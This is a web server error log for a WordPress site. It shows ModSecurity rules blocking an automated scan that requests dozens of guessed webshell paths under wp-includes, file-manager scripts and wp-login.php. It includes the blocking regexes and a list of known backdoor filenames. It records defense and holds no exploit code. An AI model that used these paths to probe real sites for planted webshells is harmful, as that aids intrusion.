[Wed Dec 24 10:51:25.299140 2025] [proxy_fcgi:error] [pid 16466:tid 16474] [client 63.135.161.52:22127] AH01071: Got error 'Primary script unknown'
[Wed Dec 24 10:51:25.537579 2025] [:error] [pid 16466:tid 16473] [client 63.135.161.52:22127] [client 63.135.161.52] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/assets/file.php"] [unique_id "aUtVLbu0JcuKJMjJn6zGFwAAAAM"]
[Wed Dec 24 10:51:25.998622 2025] [proxy_fcgi:error] [pid 16466:tid 16484] [client 63.135.161.72:53859] AH01071: Got error 'Primary script unknown'
[Wed Dec 24 10:51:26.711190 2025] [:error] [pid 16466:tid 16482] [client 63.135.161.72:53859] [client 63.135.161.72] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/customize/dedi1.php"] [unique_id "aUtVLru0JcuKJMjJn6zGKwAAAAw"]
[Wed Dec 24 10:51:27.153668 2025] [:error] [pid 54139:tid 54143] [client 63.135.161.69:33023] [client 63.135.161.69] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/pomo/autoload_classmap.php"] [unique_id "aUtVL8rYCZenIDzgXuIFKAAAAQI"]
[Wed Dec 24 10:51:28.482623 2025] [:error] [pid 29371:tid 29396] [client 104.234.53.216:36593] [client 104.234.53.216] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/images/wp-login.php"] [unique_id "aUtVMHs-DlKLysSq5L8ZHAAAAdc"]
[Wed Dec 24 10:51:34.558652 2025] [proxy_fcgi:error] [pid 16468:tid 16546] [client 104.234.53.208:21475] AH01071: Got error 'Primary script unknown'
[Wed Dec 24 10:51:34.790629 2025] [proxy_fcgi:error] [pid 16468:tid 16529] [client 104.234.53.208:21475] AH01071: Got error 'Primary script unknown'
[Wed Dec 24 10:51:35.027237 2025] [proxy_fcgi:error] [pid 16468:tid 16537] [client 104.234.53.208:21475] AH01071: Got error 'Primary script unknown'
[Wed Dec 24 10:51:35.307699 2025] [proxy_fcgi:error] [pid 16468:tid 16548] [client 104.234.53.208:21475] AH01071: Got error 'Primary script unknown'
[Wed Dec 24 10:51:36.581313 2025] [:error] [pid 16468:tid 16528] [client 104.234.53.208:21475] [client 104.234.53.208] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/Requests/about.php"] [unique_id "aUtVOIdyfuSTFLkCbP8oRgAAAIQ"]
[Wed Dec 24 10:51:37.016383 2025] [:error] [pid 16466:tid 16491] [client 63.135.161.62:20305] [client 63.135.161.62] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/css/dist/edit-widgets/index.php"] [unique_id "aUtVObu0JcuKJMjJn6zGrwAAABU"]
[Wed Dec 24 10:51:37.476689 2025] [:error] [pid 16467:tid 16504] [client 63.135.161.76:20807] [client 63.135.161.76] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/css/dist/edit-widgets/about.php"] [unique_id "aUtVOY0TJMcBxX5slgrk4AAAAEc"]
[Wed Dec 24 10:51:37.924086 2025] [:error] [pid 29371:tid 29379] [client 63.135.161.70:55565] [client 63.135.161.70] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/Requests/src/Exception/Http/about.php"] [unique_id "aUtVOXs-DlKLysSq5L8Z3AAAAcY"]
[Wed Dec 24 10:51:38.362181 2025] [:error] [pid 54139:tid 54161] [client 63.135.161.56:50483] [client 63.135.161.56] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/Text/Diff/Renderer/index.php"] [unique_id "aUtVOsrYCZenIDzgXuIF_wAAARQ"]
[Wed Dec 24 10:51:38.821637 2025] [:error] [pid 28777:tid 28788] [client 63.135.161.76:27587] [client 63.135.161.76] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/Text/Diff/index.php"] [unique_id "aUtVOpBVBcZ34cSqz8rHLAAAAYk"]
[Wed Dec 24 10:51:39.493887 2025] [:error] [pid 16468:tid 16530] [client 104.234.53.217:50149] [client 104.234.53.217] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/images/media/index.php"] [unique_id "aUtVO4dyfuSTFLkCbP8ofwAAAIY"]
[Wed Dec 24 10:51:39.922108 2025] [:error] [pid 28405:tid 28423] [client 63.135.161.72:31473] [client 63.135.161.72] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/js/tinymce/skins/lightgray/img/index.php"] [unique_id "aUtVO8KkTWlhmfdXFqbunAAAAU0"]
[Wed Dec 24 10:51:40.388035 2025] [:error] [pid 16468:tid 16531] [client 63.135.161.47:32399] [client 63.135.161.47] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/js/tinymce/skins/lightgray/img/about.php"] [unique_id "aUtVPIdyfuSTFLkCbP8oiQAAAIc"]
[Wed Dec 24 10:51:40.823208 2025] [:error] [pid 16466:tid 16475] [client 104.234.53.215:46445] [client 104.234.53.215] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/js/tinymce/skins/lightgray/img/wp-login.php"] [unique_id "aUtVPLu0JcuKJMjJn6zG5gAAAAU"]
[Wed Dec 24 10:51:41.761341 2025] [:error] [pid 16468:tid 16525] [client 63.135.161.51:49033] [client 63.135.161.51] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/fonts/themes.php"] [unique_id "aUtVPYdyfuSTFLkCbP8oowAAAIE"]
[Wed Dec 24 10:51:42.429947 2025] [:error] [pid 16466:tid 16473] [client 104.234.53.225:38459] [client 104.234.53.225] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/certificates/index.php"] [unique_id "aUtVPru0JcuKJMjJn6zHAgAAAAM"]
[Wed Dec 24 10:51:42.866616 2025] [proxy_fcgi:error] [pid 54139:tid 54145] [client 63.135.161.65:26381] AH01071: Got error 'Primary script unknown'
[Wed Dec 24 10:51:43.324368 2025] [:error] [pid 54139:tid 54147] [client 63.135.161.65:26381] [client 63.135.161.65] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/images/media/wp-login.php"] [unique_id "aUtVP8rYCZenIDzgXuIGbgAAAQY"]
[Wed Dec 24 10:51:44.352610 2025] [:error] [pid 28405:tid 28421] [client 63.135.161.46:53733] [client 63.135.161.46] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/css/about.php"] [unique_id "aUtVQMKkTWlhmfdXFqbvFwAAAUs"]
[Wed Dec 24 10:51:44.794639 2025] [proxy_fcgi:error] [pid 28777:tid 28799] [client 104.234.53.215:60805] AH01071: Got error 'Primary script unknown'
[Wed Dec 24 10:51:45.285631 2025] [proxy_fcgi:error] [pid 28777:tid 28785] [client 104.234.53.215:60805] AH01071: Got error 'Primary script unknown'
[Wed Dec 24 10:51:45.497410 2025] [:error] [pid 28777:tid 28797] [client 104.234.53.215:60805] [client 104.234.53.215] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/certificates/wp-login.php"] [unique_id "aUtVQZBVBcZ34cSqz8rHnwAAAZI"]
[Wed Dec 24 10:51:46.163638 2025] [proxy_fcgi:error] [pid 16550:tid 16567] [client 104.234.53.220:34367] AH01071: Got error 'Primary script unknown'
[Wed Dec 24 10:51:46.471640 2025] [proxy_fcgi:error] [pid 16550:tid 16562] [client 104.234.53.220:34367] AH01071: Got error 'Primary script unknown'
[Wed Dec 24 10:51:46.732167 2025] [proxy_fcgi:error] [pid 16550:tid 16567] [client 104.234.53.220:34367] AH01071: Got error 'Primary script unknown'
[Wed Dec 24 10:51:46.989470 2025] [:error] [pid 16550:tid 16575] [client 104.234.53.220:34367] [client 104.234.53.220] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/blocks/about.php"] [unique_id "aUtVQqYYcdD-LuO7vrByAAAAANc"]
[Wed Dec 24 10:51:47.424602 2025] [proxy_fcgi:error] [pid 16467:tid 16509] [client 104.234.53.222:55689] AH01071: Got error 'Primary script unknown'
[Wed Dec 24 10:51:47.639403 2025] [:error] [pid 16467:tid 16502] [client 104.234.53.222:55689] [client 104.234.53.222] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/wp-class.php"] [unique_id "aUtVQ40TJMcBxX5slgrl5AAAAEU"]
[Wed Dec 24 10:51:48.492652 2025] [proxy_fcgi:error] [pid 16468:tid 16537] [client 104.234.53.224:62163] AH01071: Got error 'Primary script unknown'
[Wed Dec 24 10:51:48.707622 2025] [proxy_fcgi:error] [pid 16468:tid 16532] [client 104.234.53.224:62163] AH01071: Got error 'Primary script unknown'
[Wed Dec 24 10:51:48.928611 2025] [proxy_fcgi:error] [pid 16468:tid 16543] [client 104.234.53.224:62163] AH01071: Got error 'Primary script unknown'
[Wed Dec 24 10:51:49.414615 2025] [proxy_fcgi:error] [pid 16468:tid 16524] [client 104.234.53.224:62163] AH01071: Got error 'Primary script unknown'
[Wed Dec 24 10:51:50.074616 2025] [proxy_fcgi:error] [pid 16468:tid 16539] [client 104.234.53.224:62163] AH01071: Got error 'Primary script unknown'
[Wed Dec 24 10:51:50.302667 2025] [proxy_fcgi:error] [pid 16468:tid 16529] [client 104.234.53.224:62163] AH01071: Got error 'Primary script unknown'
[Wed Dec 24 10:51:50.569613 2025] [proxy_fcgi:error] [pid 16468:tid 16539] [client 104.234.53.224:62163] AH01071: Got error 'Primary script unknown'
[Wed Dec 24 10:51:50.817620 2025] [proxy_fcgi:error] [pid 16468:tid 16546] [client 104.234.53.224:62163] AH01071: Got error 'Primary script unknown'
[Wed Dec 24 10:51:51.478652 2025] [proxy_fcgi:error] [pid 16468:tid 16538] [client 104.234.53.224:62163] AH01071: Got error 'Primary script unknown'
[Wed Dec 24 10:51:51.698063 2025] [:error] [pid 16468:tid 16525] [client 104.234.53.224:62163] [client 104.234.53.224] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/html-api/chosen.php"] [unique_id "aUtVR4dyfuSTFLkCbP8pkwAAAIE"]
[Wed Dec 24 10:51:52.182856 2025] [:error] [pid 16468:tid 16526] [client 104.234.53.214:28225] [client 104.234.53.214] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/style-engine/autoload_classmap.php"] [unique_id "aUtVSIdyfuSTFLkCbP8pnwAAAII"]
[Wed Dec 24 10:51:52.603441 2025] [:error] [pid 28777:tid 28779] [client 104.234.53.225:38247] [client 104.234.53.225] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 104.234.53.225, incrementing brute counter"] [hostname "agraphics.com.au"] [uri "/wp-login.php"] [unique_id "aUtVSJBVBcZ34cSqz8rIDAAAAYA"]
[Wed Dec 24 10:51:52.621633 2025] [proxy_fcgi:error] [pid 28777:tid 28779] [client 104.234.53.225:38247] AH01071: Got error 'Primary script unknown'
[Wed Dec 24 10:51:52.867641 2025] [proxy_fcgi:error] [pid 28777:tid 28783] [client 104.234.53.225:38247] AH01071: Got error 'Primary script unknown'
[Wed Dec 24 10:51:53.084193 2025] [:error] [pid 28777:tid 28780] [client 104.234.53.225:38247] [client 104.234.53.225] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/sitemaps/providers/index.php"] [unique_id "aUtVSZBVBcZ34cSqz8rIFwAAAYE"]
[Wed Dec 24 10:51:53.785634 2025] [proxy_fcgi:error] [pid 16468:tid 16525] [client 63.135.161.56:25929] AH01071: Got error 'Primary script unknown'
[Wed Dec 24 10:51:54.008313 2025] [:error] [pid 16468:tid 16531] [client 63.135.161.56:25929] [client 63.135.161.56] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/Text/Diff/Engine/index.php"] [unique_id "aUtVSodyfuSTFLkCbP8p0QAAAIc"]
[Wed Dec 24 10:51:54.458444 2025] [:error] [pid 16550:tid 16574] [client 63.135.161.45:20823] [client 63.135.161.45] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/style-engine/index.php"] [unique_id "aUtVSqYYcdD-LuO7vrByggAAANY"]
[Wed Dec 24 10:51:55.767435 2025] [:error] [pid 16467:tid 16513] [client 104.234.53.215:62377] [client 104.234.53.215] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/Text/Diff/Engine/about.php"] [unique_id "aUtVS40TJMcBxX5slgrmeAAAAFA"]
[Wed Dec 24 10:51:56.205436 2025] [:error] [pid 16467:tid 16514] [client 63.135.161.55:52077] [client 63.135.161.55] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "agraphics.com.au"] [uri "/fm.php"] [unique_id "aUtVTI0TJMcBxX5slgrmfQAAAFE"]
[Wed Dec 24 10:51:57.401477 2025] [proxy_fcgi:error] [pid 16550:tid 16552] [client 63.135.161.70:52115] AH01071: Got error 'Primary script unknown'
[Wed Dec 24 10:51:57.917995 2025] [:error] [pid 16550:tid 16568] [client 63.135.161.70:52115] [client 63.135.161.70] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/blocks/calendar/index.php"] [unique_id "aUtVTaYYcdD-LuO7vrByzwAAANA"]
[Wed Dec 24 10:51:58.844634 2025] [proxy_fcgi:error] [pid 16550:tid 16564] [client 104.234.53.216:48857] AH01071: Got error 'Primary script unknown'
[Wed Dec 24 10:51:59.320995 2025] [:error] [pid 16550:tid 16568] [client 104.234.53.216:48857] [client 104.234.53.216] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/function.php"] [unique_id "aUtVT6YYcdD-LuO7vrBy-AAAANA"]
[Wed Dec 24 10:51:59.786004 2025] [:error] [pid 28405:tid 28427] [client 63.135.161.56:44483] [client 63.135.161.56] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/plugins.php"] [unique_id "aUtVT8KkTWlhmfdXFqbwMwAAAVE"]
[Wed Dec 24 10:52:00.467530 2025] [proxy_fcgi:error] [pid 28777:tid 28787] [client 104.234.53.211:39109] AH01071: Got error 'Primary script unknown'
[Wed Dec 24 10:52:00.689330 2025] [:error] [pid 28777:tid 28796] [client 104.234.53.211:39109] [client 104.234.53.211] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/css/chosen.php"] [unique_id "aUtVUJBVBcZ34cSqz8rIkgAAAZE"]
[Wed Dec 24 10:52:01.362131 2025] [:error] [pid 28405:tid 28410] [client 63.135.161.66:53143] [client 63.135.161.66] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/Text/Diff/Renderer/about.php"] [unique_id "aUtVUcKkTWlhmfdXFqbwSwAAAUE"]
[Wed Dec 24 10:52:02.399641 2025] [proxy_fcgi:error] [pid 29371:tid 29397] [client 63.135.161.72:55001] AH01071: Got error 'Primary script unknown'
[Wed Dec 24 10:52:02.631853 2025] [proxy_fcgi:error] [pid 29371:tid 29373] [client 63.135.161.72:55001] AH01071: Got error 'Primary script unknown'
[Wed Dec 24 10:52:03.138880 2025] [:error] [pid 29371:tid 29373] [client 63.135.161.72:55001] [client 63.135.161.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lock.php"] [unique_id "aUtVU3s-DlKLysSq5L8b_AAAAcA"]
[Wed Dec 24 10:52:03.602664 2025] [proxy_fcgi:error] [pid 16466:tid 16481] [client 63.135.161.67:39367] AH01071: Got error 'Primary script unknown'
[Wed Dec 24 10:52:04.123146 2025] [:error] [pid 16466:tid 16493] [client 63.135.161.67:39367] [client 63.135.161.67] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/atomlib.php"] [unique_id "aUtVVLu0JcuKJMjJn6zI8QAAABc"]
[Wed Dec 24 10:52:04.568206 2025] [:error] [pid 29371:tid 29391] [client 63.135.161.55:36717] [client 63.135.161.55] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/rest-api/index.php"] [unique_id "aUtVVHs-DlKLysSq5L8cFQAAAdI"]
[Wed Dec 24 10:52:05.026635 2025] [proxy_fcgi:error] [pid 28777:tid 28800] [client 63.135.161.61:58549] AH01071: Got error 'Primary script unknown'
[Wed Dec 24 10:52:05.297257 2025] [proxy_fcgi:error] [pid 28777:tid 28783] [client 63.135.161.61:58549] AH01071: Got error 'Primary script unknown'
[Wed Dec 24 10:52:05.861025 2025] [proxy_fcgi:error] [pid 28777:tid 28779] [client 63.135.161.61:58549] AH01071: Got error 'Primary script unknown'
[Wed Dec 24 10:52:06.160924 2025] [:error] [pid 28777:tid 28801] [client 63.135.161.61:58549] [client 63.135.161.61] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/index.php"] [unique_id "aUtVVpBVBcZ34cSqz8rI7wAAAZY"]
[Wed Dec 24 10:52:06.659181 2025] [:error] [pid 29371:tid 29373] [client 63.135.161.70:35751] [client 63.135.161.70] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/style-engine/wp-conflg.php"] [unique_id "aUtVVns-DlKLysSq5L8cQwAAAcA"]
[Wed Dec 24 10:52:07.104478 2025] [:error] [pid 28777:tid 28794] [client 63.135.161.65:63835] [client 63.135.161.65] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/assets/autoload_classmap.php"] [unique_id "aUtVV5BVBcZ34cSqz8rJDgAAAY8"]
[Wed Dec 24 10:52:08.562075 2025] [proxy_fcgi:error] [pid 29371:tid 29380] [client 63.135.161.47:53449] AH01071: Got error 'Primary script unknown'
[Wed Dec 24 10:52:08.788614 2025] [:error] [pid 29371:tid 29396] [client 63.135.161.47:53449] [client 63.135.161.47] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/SimplePie/Exception-wp.php"] [unique_id "aUtVWHs-DlKLysSq5L8cZwAAAdc"]
[Wed Dec 24 10:52:09.455148 2025] [:error] [pid 28777:tid 28790] [client 104.234.53.208:46849] [client 104.234.53.208] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/rest-api/autoload_classmap.php"] [unique_id "aUtVWZBVBcZ34cSqz8rJZgAAAYs"]
